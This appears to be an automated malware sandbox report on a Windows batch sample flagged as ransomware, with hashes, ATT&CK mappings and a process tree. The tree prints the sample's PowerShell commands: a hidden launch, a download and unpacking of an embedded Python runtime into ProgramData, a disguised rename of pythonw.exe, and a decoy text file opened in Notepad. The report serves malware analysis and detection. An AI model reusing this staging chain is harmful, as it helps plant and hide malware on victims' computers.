8180f9ffa62f57912ba37dd713c53e05b4f581d85010be7ebdb24a31cf1fc9ab

Analysis

max time kernel
149s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
27/04/2026, 13:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hadnrdac.bat
Size 3KB
Sample260427-qqbfaaft5l
SHA256 8180f9ffa62f57912ba37dd713c53e05b4f581d85010be7ebdb24a31cf1fc9ab
MD5 0166d2ab4823542e1bbc24a1641964f4
SHA1 3d3b5b76b38574b7461474c77521f0a2f5c55a73
SHA512 e723e5a04a8f5feb48e56e51a0be1af640201575eb1ff96aab86e090eb26d06dae24b4231b2f9c670bdd4c94e6120e94fe2d5956b08e2fcf5e47ea7991db3925
TLSH
T10F71F9175D261C0643B1C10902CF99C66C3D438952935EEE32A7DB7D8A6822AA5F7BCD
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution ransomware

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2560	powershell.exe
6100	powershell.exe
5784	powershell.exe
3232	powershell.exe
6096	powershell.exe
3432	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings	cmd.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2488	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3432	powershell.exe
3432	powershell.exe
2560	powershell.exe
2560	powershell.exe
6100	powershell.exe
6100	powershell.exe
3232	powershell.exe
3232	powershell.exe
6096	powershell.exe
6096	powershell.exe
5784	powershell.exe
5784	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	6100	powershell.exe
Token: SeDebugPrivilege	3232	powershell.exe
Token: SeDebugPrivilege	6096	powershell.exe
Token: SeDebugPrivilege	5784	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 2488	2268	cmd.exe	80
PID 2268 wrote to memory of 3432	2268	cmd.exe	81
PID 2268 wrote to memory of 3760	2268	cmd.exe	82
PID 3760 wrote to memory of 2560	3760	cmd.exe	83
PID 2268 wrote to memory of 6100	2268	cmd.exe	84
PID 2268 wrote to memory of 3232	2268	cmd.exe	85
PID 2268 wrote to memory of 6096	2268	cmd.exe	86
PID 2268 wrote to memory of 5784	2268	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hadnrdac.bat"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\NotaFiscal.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "& {
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('GQTGHSLV')).Replace('=', '')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('GQTGHSLV')).Replace('=', '')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Invoke-WebRequest -URI https://www.python.org/ftp/python/3.12.5/python-3.12.5-embed-win32.zip -OutFile "C:\ProgramData\R1FUR0hTTFY.zip""
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path "C:\ProgramData\R1FUR0hTTFY.zip" -DestinationPath "C:\ProgramData\R1FUR0hTTFY""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Copy-Item -Path 'C:\ProgramData\R1FUR0hTTFY\pythonw.exe' -Destination 'C:\ProgramData\R1FUR0hTTFY\R1FUR0hTTFY.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Sleep -Seconds 3"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download